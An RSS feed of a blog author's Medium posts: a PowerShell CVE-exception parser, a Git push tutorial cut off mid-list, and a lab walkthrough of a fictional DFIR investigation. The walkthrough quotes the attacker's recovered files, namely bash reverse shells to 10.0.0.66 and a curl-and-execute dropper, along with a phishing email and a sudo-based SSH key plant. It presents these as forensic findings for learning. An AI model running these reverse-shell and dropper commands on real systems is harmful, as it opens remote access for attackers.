<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Kajal on Medium]]></title>
        <description><![CDATA[Stories by Kajal on Medium]]></description>
        <link>https://medium.com/@kajalishere?source=rss-f1160b2c6b07------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*OB20bxei6nXnQgU8</url>
            <title>Stories by Kajal on Medium</title>
            <link>https://medium.com/@kajalishere?source=rss-f1160b2c6b07------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 13:07:01 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@kajalishere/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Building a CVE Exception File Parser with PowerShell: A Hands-On Security Automation Exercise]]></title>
            <link>https://medium.com/@kajalishere/building-a-cve-exception-file-parser-with-powershell-a-hands-on-security-automation-exercise-489bee666da3?source=rss-f1160b2c6b07------2</link>
            <guid isPermaLink="false">https://medium.com/p/489bee666da3</guid>
            <category><![CDATA[powershell-script]]></category>
            <category><![CDATA[vulnerability-management]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[powershell]]></category>
            <category><![CDATA[automation-security]]></category>
            <dc:creator><![CDATA[Kajal]]></dc:creator>
            <pubDate>Fri, 13 Nov 2026 16:35:45 GMT</pubDate>
            <atom:updated>2026-11-13T16:37:04.751Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Exploring input validation, vulnerability exception handling, and structured data processing with PowerShell.</em></p><h3>Introduction</h3><p>Vulnerability management involves more than identifying security findings. Security teams also need to track exceptions, document accepted risks, and maintain reliable records of vulnerabilities that have been reviewed.</p><p>For example, an exception may be documented when a compensating control is implemented, remediation is temporarily unavailable, or a finding has been reviewed and accepted.</p><p>But what happens when the exception data itself contains errors?</p><p>A malformed CVE identifier, an invalid library/version combination, or an incorrectly formatted expiry date could affect downstream automation that relies on these records.</p><p>To explore this problem, I built a <strong>CVE Exception File Parser using PowerShell</strong>.</p><p>The objective was to read a .cveignore file, validate its records against a defined schema, exclude malformed entries, and return valid rules as structured PowerShell objects.</p><p>This hands-on exercise helped me strengthen my understanding of PowerShell while applying concepts relevant to security engineering, including input validation, error handling, and structured data processing.</p><h3>1. Understanding the Input Format</h3><p>The parser processes a .cveignore file containing vulnerability exception records.</p><p>Each record follows a pipe-separated format:</p><pre>CVE|LibraryVersions|AllowedReason|AllowedExpiry</pre><p>The fields represent:</p><p>FieldDescriptionCVEVulnerability identifierLibraryVersionsOne or more library/version combinationsAllowedReasonReason for allowing the exceptionAllowedExpiryOptional exception expiry date</p><p>For example:</p><pre>CVE-2024-12345|libxml2:2.9.4|Risk accepted|2026-12-31<br>CVE-2023-1234|openssl:*|Compensating control in place|<br>CVE-2022-5678|*:*|Temporary exception|2026-11-30</pre><p>These are illustrative records, not actual exception approvals.</p><p>The format also supports multiple library/version combinations separated by semicolons:</p><pre>libxml2:2.9.4;openssl:3.0.0</pre><p>Wildcards are supported under defined rules:</p><ul><li>*:* — All libraries and all versions.</li><li>openssl:* — All versions of a particular library.</li><li>*:1.0 — Invalid combination.</li></ul><p>A key requirement was to ensure that malformed entries would not prevent valid records from being processed.</p><h3>2. Designing the Parser</h3><p>I divided the implementation into six logical stages:</p><ol><li>Accept a file or directory path.</li><li>Read the input file line by line.</li><li>Parse each record into four fields.</li><li>Validate CVE identifiers, library/version combinations, required fields, and expiry dates.</li><li>Generate warnings and skip invalid records.</li><li>Return valid records as structured PowerShell objects.</li></ol><p>This approach allowed me to handle each validation requirement separately while keeping the overall processing flow straightforward.</p><h3>Step 1: Accepting the Input Path</h3><p>The script begins by accepting a mandatory path parameter:</p><pre>param(<br>    [Parameter(Mandatory = $true)]<br>    [string]$Path<br>)</pre><p>It uses Test-Path to verify that the supplied path exists and Get-Item to determine whether the input represents a file or directory.</p><p>If a directory is provided, the script looks for a file named .cveignore inside it.</p><p>This provides flexibility when executing the parser against individual files or a directory containing the expected exception file.</p><h3>Step 2: Reading the File Line by Line</h3><p>I used PowerShell’s Get-Content command to process the input file.</p><pre>foreach ($line in (Get-Content -LiteralPath $filePath)) {<br>    $lineNumber++<br>    $line = $line.Trim()</pre><pre>    if ($line -eq &#39;&#39; -or $line.StartsWith(&#39;#&#39;)) {<br>        continue<br>    }<br>}</pre><p>Each line is trimmed to remove leading and trailing whitespace.</p><p>Blank lines and comments beginning with # are skipped.</p><p>The script also tracks line numbers so that validation warnings can identify the location of malformed records.</p><h3>Step 3: Parsing the Fields</h3><p>Each CVE exception record must contain exactly four pipe-separated fields.</p><pre>$fields = $line.Split([char]&#39;|&#39;)</pre><pre>if ($fields.Count -ne 4) {<br>    Write-Warning &quot;Line ${lineNumber}: Invalid field count&quot;<br>    continue<br>}</pre><p>If the field count is incorrect, the parser generates a warning and moves to the next record.</p><p>Otherwise, the fields are extracted and validated individually.</p><p>This helps prevent incomplete or incorrectly structured data from being accepted.</p><h3>Step 4: Validating CVE Identifiers</h3><p>A CVE identifier must follow the expected format, such as CVE-2024-12345.</p><p>I used a regular expression to validate the structure:</p><pre>if ($cve -cnotmatch &#39;^CVE-[0-9]{4}-[0-9]{4,}$&#39;) {<br>    Write-Warning &quot;Line ${lineNumber}: Invalid CVE identifier&quot;<br>    continue<br>}</pre><p>The expression checks for:</p><ul><li>The CVE- prefix.</li><li>A four-digit year.</li><li>A final numeric segment containing at least four digits.</li></ul><p>This validates the identifier’s format. It does not confirm whether the CVE exists in an external vulnerability database.</p><h3>Step 5: Validating Library and Version Combinations</h3><p>The LibraryVersions field may contain multiple library/version pairs separated by semicolons.</p><p>For example:</p><pre>libxml2:2.9.4;openssl:3.0.0</pre><p>Each pair is split using a colon, and the parser checks whether both the library name and version are present.</p><p>Wildcard combinations are also validated.</p><p>CombinationValidation resultopenssl:3.0.0Validopenssl:*Valid*:*Valid*:1.0Invalidopenssl:3.*Invalid under the parser&#39;s rules</p><p>If any library/version combination is invalid, the entire CVE record is rejected.</p><p>This prevents partially malformed exception records from being returned as valid results.</p><h3>Step 6: Validating Optional Expiry Dates</h3><p>The AllowedExpiry field is optional.</p><p>However, if an expiry date is provided, it must follow the yyyy-MM-dd format and represent a valid calendar date.</p><p>I used .NET’s DateTime.TryParseExact() method through PowerShell:</p><pre>$dateIsValid = [datetime]::TryParseExact(<br>    $expiryText, &#39;yyyy-MM-dd&#39;,<br>    [System.Globalization.CultureInfo]::InvariantCulture,<br>    [System.Globalization.DateTimeStyles]::None,<br>    [ref]$parsedDate<br>)</pre><p>Using strict date parsing helps avoid ambiguity caused by different regional date formats.</p><p>An important distinction is that this parser validates the date’s format, but does not determine whether an exception has already expired.</p><p>Expiry enforcement would be a separate responsibility in a more advanced vulnerability management workflow.</p><h3>3. Handling Invalid Records Without Stopping Execution</h3><p>One of the important decisions in this implementation was how to handle malformed entries.</p><p>Instead of terminating the entire script when an invalid record is encountered, the parser uses Write-Warning to report the issue and continues processing.</p><p>For example:</p><pre>if (-not $dateIsValid) {<br>    Write-Warning &quot;Line ${lineNumber}: Invalid expiry date&quot;<br>    continue<br>}</pre><p>The continue statement skips the current record and proceeds to the next one.</p><p>Only records that successfully pass every validation check are added to the final collection.</p><p>This approach allows the parser to return all valid rules while excluding malformed entries.</p><p>It also makes validation failures visible rather than silently accepting problematic data.</p><h3>4. Returning Structured PowerShell Objects</h3><p>Rather than returning plain text, the parser creates PSCustomObject instances.</p><pre>$validRules += [PSCustomObject]@{<br>    CVE = $cve<br>    LibraryVersions = $libraries<br>    AllowedReason = $reason<br>    AllowedExpiry = $expiry<br>}</pre><p>Each object contains the CVE identifier, associated library/version pairs, exception reason, and optional expiry date.</p><p>This makes the output easier to inspect, filter, and reuse in other scripts.</p><p>For example, the results can be displayed in a table:</p><pre>$rules |<br>    Select-Object CVE, AllowedReason, AllowedExpiry |<br>    Format-Table -AutoSize</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UHQ2k6yT25OkI_izr-liZQ.png" /><figcaption><em>Figure 1: Validated CVE exception records returned as structured PowerShell objects.</em></figcaption></figure><h3>Inspecting Library and Version Information</h3><p>The parser also stores library/version combinations as nested objects.</p><p>To inspect individual records, I used:</p><pre>$rules |<br>    Select-Object -First 3 |<br>    Format-List CVE, LibraryVersions, AllowedReason, AllowedExpiry</pre><p>This displays the library/version combinations associated with each CVE record.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*acJfdEmqVtxZ2kVgShLjOg.png" /><figcaption><em>Figure 2: Inspecting nested library/version data returned by the parser.</em></figcaption></figure><h3>Exporting Results to JSON</h3><p>I also explored converting the validated records into JSON for further processing.</p><pre>$rules = @(.\Parse-CVEIgnore.ps1 -Path .\.cveignore)</pre><pre>$rules | ConvertTo-Json -Depth 5 |<br>    Out-File -FilePath .\parsed-results.json -Encoding utf8</pre><p>The parser itself returns PowerShell objects. JSON conversion is performed separately using ConvertTo-Json.</p><p>I also explored exporting the results to CSV for inspection in Excel.</p><p>This demonstrates how structured PowerShell output can be reused in other reporting or data-processing workflows.</p><h3>5. Testing the Implementation</h3><p>I tested the parser against a sample dataset containing 24 CVE exception entries.One record contained a malformed expiry date, allowing me to verify how the script handled invalid input.</p><p>The parser was tested against a sample dataset containing 24 CVE exception records. Of these, 23 records passed validation, while 1 record was rejected due to an invalid expiry date.</p><p>The script generated a warning for the malformed record and continued processing the remaining entries without interruption.</p><p>I also successfully tested file-path and directory-path inputs, along with exporting the validated results to JSON.</p><p>The malformed record generated the warning:</p><pre>WARNING: Line 21: Invalid expiry date</pre><p>Despite this validation failure, the parser continued processing the remaining records and returned 23 valid rules.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T6apu9FHoCKDTfhdjGdaww.png" /><figcaption><em>Figure 3: Validation results showing 23 accepted CVE exception records and one rejected record.</em></figcaption></figure><p>This confirmed the expected behavior for the tested dataset: malformed records were excluded without interrupting the processing of valid entries.</p><p>The implementation was tested using Windows PowerShell 5.1. Cross-platform execution remains an area for additional testing.</p><h3>6. Security Considerations</h3><p>Although this is a relatively small automation project, it highlights several concepts relevant to security engineering.</p><p><strong>Input validation matters.</strong> Security automation should not assume that configuration files or exception records are always well-formed.</p><p><strong>Invalid records should be visible.</strong> Validation warnings help identify problematic entries that may require correction.</p><p><strong>Exception scope matters.</strong> Broad wildcard combinations such as *:* may affect many findings when used by downstream suppression systems. Such exceptions should be carefully reviewed.</p><p><strong>Parsing and enforcement are different responsibilities.</strong> This parser validates the structure of exception records. It does not approve risk exceptions, verify business justifications, enforce expiry dates, or suppress vulnerability findings.</p><p>These distinctions are important when designing reliable security automation workflows.</p><h3>7. What I Would Improve Next</h3><p>While the parser meets its current objectives, there are a few areas I would like to explore further:</p><ul><li>Adding automated tests to cover different validation scenarios.</li><li>Refactoring the code into reusable PowerShell functions for better maintainability.</li><li>Implementing expiry checks and detecting duplicate exception records.</li><li>Testing cross-platform compatibility using PowerShell 7 on Windows and Linux.</li><li>Exploring potential integration with vulnerability management workflows.</li></ul><h3>8. Key Takeaways</h3><p>This exercise reinforced an important lesson: <strong>security automation is not only about executing commands or generating reports. It is also about ensuring that the data being processed is reliable.</strong></p><p>Building the parser helped me practice PowerShell fundamentals while applying concepts relevant to vulnerability management, input validation, error handling, and structured data processing.</p><p>It also highlighted the importance of separating data validation from security decisions such as exception approval and enforcement.</p><p>The result is a small, reusable parser that demonstrates how well-defined validation rules can support more dependable security workflows.</p><p>Sometimes, the most useful security automation begins with making sure the input can be trusted.</p><h3>GitHub Repository</h3><p>The PowerShell implementation, sample CVE exception file, and execution instructions are available here:</p><p><a href="https://github.com/kajalishere/PowerShell-CVE-Exception-Parser"><strong>https://github.com/kajalishere/PowerShell-CVE-Exception-Parser</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=489bee666da3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Following the Digital Trail: What Machine Learning Found (and Missed) in a DFIR Investigation]]></title>
            <link>https://medium.com/@kajalishere/following-the-digital-trail-what-machine-learning-found-and-missed-in-a-dfir-investigation-8953ff6bc287?source=rss-f1160b2c6b07------2</link>
            <guid isPermaLink="false">https://medium.com/p/8953ff6bc287</guid>
            <dc:creator><![CDATA[Kajal]]></dc:creator>
            <pubDate>Fri, 16 Oct 2026 21:30:25 GMT</pubDate>
            <atom:updated>2026-10-16T21:30:25.713Z</atom:updated>
            <content:encoded><![CDATA[<p><em>A hands-on walkthrough of an AI-assisted digital forensics investigation, from one phishing email to stolen source code.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*517wpccDadYYajg2LiNLAA.png" /></figure><h4><strong>What can machine learning uncover in a forensics investigation, and what might it miss?</strong></h4><p>Picture a metal detector on a beach. It finds most of the buried coins quickly, but it also beeps at bottle caps, and it can’t reach the part of the beach where the real treasure is buried. You still need someone who digs, checks and decides.</p><p>That is roughly what I found when I worked through a hands-on DFIR scenario that pairs machine-learning triage tools with human investigation. The ML got me to the right evidence fast. But it also flagged the victim’s own files as malicious, and it completely missed the email that started the attack.</p><p>In this article I’ll walk through the investigation step by step: the commands I ran, what the output showed, and where human judgement had to take over from the model.</p><h3>The scenario</h3><p>RobbCo, a fictional technology company, has called in a forensic investigator. Its SOC team reported unusual activity on a Linux server, and the founder, Robb House (account r.house), wants to know what happened.</p><p>Two ML-enhanced scripts were provided, written by a RobbCo engineer using <strong>scikit-learn</strong>, the open-source Python machine-learning library:</p><ul><li>classify_logs.py uses a model trained on labelled log data to flag suspicious log lines.</li><li>file_anomalies.py uses a model trained on file characteristics to flag suspicious files.</li></ul><p>The goal: use the AI as a guiding light, then validate everything it says with human analysis.</p><h3>Setting up: the digital crime scene suit</h3><p>The first step in any forensic investigation is to avoid contaminating the evidence. The tools run inside an isolated Python virtual environment, so nothing we install or run changes the original system state.</p><pre>source /opt/dfir-env/bin/activate</pre><p>Think of it as putting on gloves and shoe covers before walking into a crime scene.</p><h3>Step 1: Let the AI read the logs</h3><p>The first ML script classifies every line of the SSH authentication log:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NlI6k83pR9p1PpcLV1A2ag.png" /><figcaption>ML log triage flags three SSH events from the same IP, minutes apart.</figcaption></figure><p>Three lines out of an entire log file, and they already tell a story:</p><ol><li><strong>03:00:01</strong> The attacker tries a default admin account and fails.</li><li><strong>03:01:02</strong> The attacker logs in as employee j.morgan with a valid password. That points to stolen credentials.</li><li><strong>03:15:00</strong> Fourteen minutes later, the attacker logs in as the founder, r.house, using a <strong>public key</strong> instead of a password.</li></ol><p>That last detail is the first real clue. Where did the attacker get a key that the founder’s account trusts?</p><h3>Step 2: Let the AI scan the files</h3><p>The second script scores files in key directories and flags anything that looks unusual:</p><pre>python3 /opt/dfir-lab/file_anomalies.py</pre><pre>[*] Scanning paths:<br>    - /opt/robbco<br>    - /tmp<br>    - /dev/shm<br>    - /usr/local/bin</pre><pre>[!] Supervised AI-flagged suspicious files:<br>                                                 path  ...   entropy<br>0                    /opt/robbco/sys/boot_monitor.log  ...  4.535458<br>1   /opt/robbco/engineering/MFBootAgent/mfboot_main.c  ...  5.122591<br>2           /opt/robbco/firmware/RETROS_BIOS/core.asm  ...  4.358886<br>3                               /tmp/dock-replace.log  ...  4.837454<br>4                                         /tmp/.syncd  ...  4.492156<br>5                                             /tmp/.x  ...  4.411602<br>6                               /tmp/invoice_dump.txt  ...  4.653766<br>10                   /dev/shm/.core_dump_2025.tgz.enc  ...  5.766267<br>14                              /usr/local/bin/sysmon  ...  4.411602</pre><p>Nine files flagged. This is where the AI’s job ends and the investigator’s begins. A flag is a lead, not a verdict, so every one of these needs to be opened and checked.</p><p>One detail worth noticing early: /tmp/.x and /usr/local/bin/sysmon have exactly the same entropy score. Hold that thought.</p><h3>Step 3: Following the trail to the phishing email</h3><p>The file /tmp/invoice_dump.txt turned out to be a data dump: someone&#39;s bash history, a list of every user on the system, and a check for SSH keys.</p><pre>bash_history:<br>cd ~/Documents/Invoices/<br>libreoffice invoice_Q1_2075.ods &amp;<br>...<br>users:<br>root<br>daemon<br>...<br>j.morgan<br>r.house</pre><pre>ssh_keys:<br>[no keys]</pre><p>This looks like the output of a reconnaissance script, collected and staged to send to the attacker. The bash history opens a spreadsheet invoice, and the logs showed j.morgan was the first account the attacker used. So I went looking in j.morgan&#39;s home directory.</p><p>The system mail folders (/var/mail, /var/spool/mail) were empty, so I searched for the keyword instead:</p><pre>grep -ril &quot;invoice&quot; /var/mail /var/spool/mail /home/j.morgan 2&gt;/dev/null</pre><pre>/home/j.morgan/Mail/inbox/email_invoice.eml<br>/home/j.morgan/.bash_history<br>/home/j.morgan/.viminfo<br>/home/j.morgan/Documents/Invoices/invoice_Q1_2075.ods</pre><p>There it was, sitting in the user’s personal inbox:</p><pre>From: &quot;A. Keane&quot; &lt;akeane@poseidonenergy.net&gt;<br>To: j.morgan@robbco.com<br>Subject: URGENT - Outstanding Invoice Q1 2075</pre><pre>Dear Mr. Morgan,</pre><pre>Please find attached the invoice for the Q1 joint energy terminal upgrade project.<br>This invoice is marked as overdue and must be reviewed immediately by RobbCo engineering.</pre><pre>Failure to process this may result in administrative escalation.</pre><pre>[Attached: invoice_Q1_2075.ods]</pre><p>A textbook phishing email: an external sender impersonating a business partner, urgency (“URGENT”, “overdue”, “immediately”), a vague threat (“administrative escalation”), and a macro-enabled spreadsheet attached. When j.morgan opened it, the macro ran the reconnaissance and produced the dump file we found.</p><p><strong>Important:</strong> the ML model never flagged this email or the attachment. I only found them by following a clue inside a file the model <em>did</em> flag.</p><h3>Step 4: Privilege escalation without an exploit</h3><p>Next question: how did the attacker get from j.morgan to the founder’s account? The answer was in j.morgan’s shell history:</p><pre>cat /home/j.morgan/.bash_history</pre><pre>cd ~/Documents/Invoices/<br>libreoffice invoice_Q1_2075.ods &amp;<br>cd ~<br>ls -la<br>cat .ssh/config<br>cat /etc/motd<br>sudo nano /home/r.house/.ssh/authorized_keys<br>exit</pre><p>The key line is sudo nano /home/r.house/.ssh/authorized_keys. j.morgan&#39;s account had sudo rights broad enough to edit <em>another user&#39;s</em> list of trusted SSH keys. The attacker simply added their own public key.</p><p>That explains the auth log entry from Step 1: r.house logged in by public key, not password. No vulnerability was exploited. It was pure abuse of over-generous permissions.</p><h3>Step 5: Tooling and persistence</h3><p>Three of the flagged files turned out to be the attacker’s remote access tools:</p><pre>cat /tmp/.x /tmp/.syncd /usr/local/bin/sysmon</pre><pre>#!/bin/bash<br>bash -i &gt;&amp; /dev/tcp/10.0.0.66/4444 0&gt;&amp;1<br>#!/bin/bash<br>curl http://10.0.0.66/payload.sh -o /tmp/.x &amp;&amp; chmod +x /tmp/.x &amp;&amp; /tmp/.x<br>#!/bin/bash<br>bash -i &gt;&amp; /dev/tcp/10.0.0.66/5555 0&gt;&amp;1</pre><ul><li><strong>/tmp/.syncd</strong> is the dropper. It downloads payload.sh from the attacker&#39;s server and runs it as /tmp/.x.</li><li><strong>/tmp/.x</strong> is a reverse shell to port 4444, running as j.morgan.</li><li><strong>/usr/local/bin/sysmon</strong> is a second reverse shell to port 5555, running with r.house’s privileges.</li></ul><p>Remember the identical entropy scores? /tmp/.x and sysmon are the same one-line script with only the port changed.</p><p>The sysmon name is deliberate: it mimics a real system monitoring tool. The attacker even planted a fake log, /opt/robbco/sys/boot_monitor.log, full of made-up boot telemetry to make the backdoor look legitimate. That level of disguise could have taken hours to spot by hand.</p><h3>Step 6: The real objective, stolen source code</h3><p>The highest-entropy file on the system was /dev/shm/.core_dump_2025.tgz.enc: RobbCo&#39;s proprietary boot-agent and BIOS source code, compressed and base64-encoded.</p><p>The hiding spot is clever. /dev/shm is shared memory, a folder that lives in RAM, so it leaves little trace on disk and is often overlooked. The name, a hidden &quot;core dump&quot;, makes it look like a harmless crash file.</p><p>The archive can be confirmed by decoding it:</p><pre>base64 -d /dev/shm/.core_dump_2025.tgz.enc &gt; /tmp/stolen.tar.gz<br>tar -xzvf /tmp/stolen.tar.gz -C /tmp/stolen_source</pre><h3>Step 7: Grading the AI’s homework</h3><p>With every flagged file opened and checked, here is how the file model actually performed:</p><ul><li><strong>6 correctly flagged:</strong> the stolen archive, the recon dump, the fake log, the dropper and both reverse shells</li><li><strong>3 false alarms:</strong> mfboot_main.c, core.asm and dock-replace.log</li><li><strong>2 missed entirely:</strong> the phishing email and its attachment</li></ul><p>The false alarms are the interesting part:</p><ul><li>mfboot_main.c and core.asm are <strong>RobbCo&#39;s own source code</strong>, the very thing the attacker stole. If you acted on the AI&#39;s output alone, you might quarantine or delete the victim&#39;s intellectual property.</li><li>/tmp/dock-replace.log isn&#39;t covered in the lab guidance, so I checked it myself. It is a harmless desktop log written when the machine booted:</li></ul><pre>10/15/26 14:37:36: Getting dock from dconf.<br>10/15/26 14:37:36: Dock is &#39;plank&#39;. Waiting a moment...<br>10/15/26 14:37:51: Looking for plank process...<br>10/15/26 14:37:51: Replacing plank (2353).<br>10/15/26 14:37:51: plank has been replaced.</pre><p>And the two misses were the most important files of all: the place where the attack began.</p><h3>Step 8: Investigating the investigator’s tools</h3><p>The attacker had privileged access to this machine. So how do I know the forensic tools themselves weren’t tampered with?</p><p>I read both scripts and hashed them along with their model files:</p><pre>cat /opt/dfir-lab/file_anomalies.py<br>sha256sum /opt/dfir-lab/*.py /opt/dfir-lab/*.joblib<br>ls -la /opt/dfir-lab/</pre><p>The scripts looked clean (no network calls, no suspicious exclusions), and all four files shared the same modification date. But reading the code explained <em>why</em> the AI behaved the way it did:</p><pre># Define focused scan targets<br>root_dirs = [&#39;/opt/robbco&#39;, &#39;/tmp&#39;, &#39;/dev/shm&#39;, &#39;/usr/local/bin&#39;]</pre><ul><li><strong>The scan scope is hard-coded.</strong> Home directories are never scanned, which is exactly why the phishing email was invisible to the model.</li><li><strong>The features are thin.</strong> The file model only sees size, extension, entropy, whether a file is hidden, and whether it is executable. It has no idea what a file actually <em>does</em>. Source code has unusual extensions and fairly high entropy, so it looks suspicious.</li><li><strong>Entropy is approximate.</strong> It is measured on only the first 1,024 bytes, and unreadable files silently score 0, a gap an attacker could exploit.</li><li><strong>The log model reads one line at a time</strong>, with no sense of sequence or time of day.</li><li><strong>The models load from </strong><strong>.joblib files</strong>, which use Python pickle. Loading a tampered pickle file can execute arbitrary code, and these files sat in a folder writable by a regular user.</li></ul><p>On a compromised host, your forensic tools are part of the attack surface too.</p><h3>The full attack chain</h3><ol><li><strong>Phishing:</strong> a fake overdue invoice with a macro-laced spreadsheet harvests system data.</li><li><strong>Foothold:</strong> SSH login as j.morgan with harvested credentials, then a dropper and reverse shell.</li><li><strong>Privilege escalation:</strong> sudo used to plant an SSH key on the founder’s account. No exploit needed.</li><li><strong>Persistence:</strong> a second, privileged reverse shell disguised as sysmon, backed by a fake log.</li><li><strong>Source code theft:</strong> firmware code compressed, encoded and staged in shared memory.</li></ol><h3>What I’d recommend to RobbCo</h3><ul><li><strong>Least privilege:</strong> no user should be able to edit another user’s SSH keys with sudo.</li><li><strong>Block macros</strong> in office documents from external senders.</li><li><strong>Enforce MFA on SSH</strong> and alert on new authorized_keys entries and late-night logins.</li><li><strong>Monitor outbound connections</strong> to unusual ports and new files in /tmp and /dev/shm.</li><li><strong>Harden the AI tooling:</strong> widen the scan scope, retrain with known-good files, and store scripts and models read-only with published hashes.</li></ul><h3>Lessons learned</h3><p><strong>1. Use ML to prioritise, use humans to conclude.</strong> The models cut an entire system down to 3 log lines and 9 files in minutes. That is a huge head start, but a third of the flagged files were false alarms.</p><p><strong>2. What a model can’t see matters as much as what it flags.</strong> The root cause, a phishing email, sat outside the model’s scope. Always ask: <em>where is this tool not looking?</em></p><p><strong>3. Verify your tools before you trust their output.</strong> Reading 60 lines of Python explained every false positive and every miss, and revealed a pickle-based risk in the tooling itself.</p><p><strong>4. The most damaging step needed no exploit.</strong> Over-generous sudo rights did all the work. Least privilege is still one of the most effective controls we have.</p><h3>Closing thoughts</h3><p>AI won’t replace forensic investigators, but investigators who use AI well will move faster. The skill that matters is knowing when to trust the model, when to question it, and how to check it.</p><p><em>How are you using AI in your security investigations? I’d love to hear in the comments.</em></p><p><strong>Tags:</strong> DFIR, Digital Forensics, Cybersecurity, Machine Learning, Incident Response</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8953ff6bc287" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Push Code to GitHub from PowerShell]]></title>
            <link>https://medium.com/@kajalishere/push-code-to-github-from-powershell-aeb97165ff56?source=rss-f1160b2c6b07------2</link>
            <guid isPermaLink="false">https://medium.com/p/aeb97165ff56</guid>
            <category><![CDATA[powershell]]></category>
            <category><![CDATA[git]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[github-actions]]></category>
            <category><![CDATA[git-commit]]></category>
            <dc:creator><![CDATA[Kajal]]></dc:creator>
            <pubDate>Thu, 18 Jun 2026 00:41:18 GMT</pubDate>
            <atom:updated>2026-06-18T00:41:18.761Z</atom:updated>
            <content:encoded><![CDATA[<p>Complete tutorial with real terminal output &amp; error handling</p><p>Git push rejected? Merge conflicts? If you’ve hit these walls, you’re not alone. In this guide, I’ll walk you through pushing code to GitHub using PowerShell with real terminal output, so you know exactly what success looks like.</p><p>GitHub is the industry standard for version control. Whether you’re building a personal project or collaborating with a team, knowing how to push code from your local machine to GitHub is essential. I’m using a real project called <strong>Google News Agent</strong> ,a Python CLI application that fetches news from Google News RSS feeds. You’ll see the actual PowerShell commands and outputs exactly as they appeared when pushing this project to GitHub.</p><h3>What You’ll Need</h3><p>· Git installed on Windows, Mac, or Linux</p><p>· A GitHub account</p><p>· A repository created on GitHub</p><p>· Your repository cloned to your local machine</p><h3>The Complete Git Workflow in 6 Steps</h3><p>Here’s the workflow we’ll follow. Each step has actual PowerShell output so you can see exactly what to expect on your machine.</p><h3>Step 1: Configure Git with Your Credentials</h3><p>Open PowerShell and tell Git who you are:</p><p><em>git config — global user.name “yourname”</em></p><p><em>git config — global user.email “yourname@gmail.com”</em></p><p>Replace the name and email with your actual values. This identifies who made the commits in your repository history.</p><h3>Step 2: Navigate to Your Repository Directory</h3><p>Use the <strong>cd</strong> command to navigate to your project folder:</p><p><em>cd C:\Users\your-username\google-news-agent</em></p><p>Replace your-username with your actual Windows username (or navigate to the folder using Windows Explorer and copy the path)</p><p>Make sure you’re in the root directory of your repository. This is where the <strong>.git</strong> folder is located.</p><h3>Step 3: Check the Status of Your Changes</h3><p>Before making changes, check what files have been modified:</p><p><em>git status</em></p><p>This command shows untracked files (new files) and modified files. These are the files Git is ready to process.</p><h3>Step 4: Stage Your Changes</h3><p>Add all your files to the staging area:</p><p><em>git add .</em></p><p>The dot (<strong>.</strong>) means “add all files”. This prepares your files for the commit. It’s like putting items in a shopping cart before checkout.</p><h3>Step 5: Commit Your Changes</h3><p>Create a commit with a descriptive message:</p><p><em>git commit -m “feat: Add Google News Agent-Python CLI for fetching news”</em></p><p>The <strong>-m</strong> flag adds a message. Good commit messages describe what changed. Examples: <strong>feat: Add search</strong>, <strong>fix: Handle URL encoding</strong>, <strong>docs: Update README</strong>.</p><p>Expected output:</p><p>[main d525b02] feat: Add Google News Agent<br> 3 files changed, 650 insertions(+), 2 deletions(-)<br> create mode 100644 google_news_agent.py<br> create mode 100644 requirements.txt</p><h3>Step 6: Push to GitHub</h3><p>Upload your commits to GitHub:</p><p><em>git push origin main</em></p><p>This uploads your commits to the “main” branch on “origin” (GitHub). After this command succeeds, your code is live on GitHub!</p><h3>Real PowerShell Output from the Google News Agent Project</h3><p>Here’s exactly what happened when I pushed the Google News Agent to GitHub. You’ll see actual PowerShell terminal output for each command.</p><h3>Image 1: Cloning the Repository &amp; Navigating</h3><p>Command executed:</p><p><em>git clone </em><a href="https://github.com/kajalishere/google-news-agent.git"><em>https://github.com/kajalishere/google-news-agent.git</em></a><em><br> cd google-news-agent<br> dir</em></p><p>The <strong>git clone</strong> command downloads your repository from GitHub to your local machine. You see the enumeration, counting, compressing, and unpacking of objects. Once cloned, <strong>cd</strong> moves into the directory and <strong>dir</strong> displays all the project files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BFra4mMa1lRqbhRAwfwh2g.png" /><figcaption><em>Shows git clone, cd, and dir commands with file listing</em></figcaption></figure><h3>Image 2: Navigating the Project &amp; File Operations</h3><p>Here you can see actual file navigation commands. Sometimes you might try to copy files from old projects ,the screenshot shows a common error when the source path doesn’t exist. Pay attention to the file structure.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jf0AwgA55ZKEN4jkq7hStA.png" /><figcaption><em>Shows Copy-Item error, Get-ChildItem, and file operations</em></figcaption></figure><h3>Image 3: Git Config, Add, Commit, and Push to GitHub</h3><p>Commands executed:</p><p><em>git config — global user.name “Yourname”<br> git config — global user.email “youremaild@gmail.com”<br> git add .<br> git commit -m “feat: Add Google News Agent — Python CLI for fetching news from Google News RSS feeds”<br> git push origin main</em></p><p>SUCCESS! The output shows:</p><p>· Enumerating objects: 7, done.</p><p>· Counting objects: 100% (7/7), done.</p><p>· Compressing objects: 100% (5/5), done.</p><p>· Writing objects: 100% (5/5), 5.69 KiB | 2.84 MiB/s, done.</p><p>· 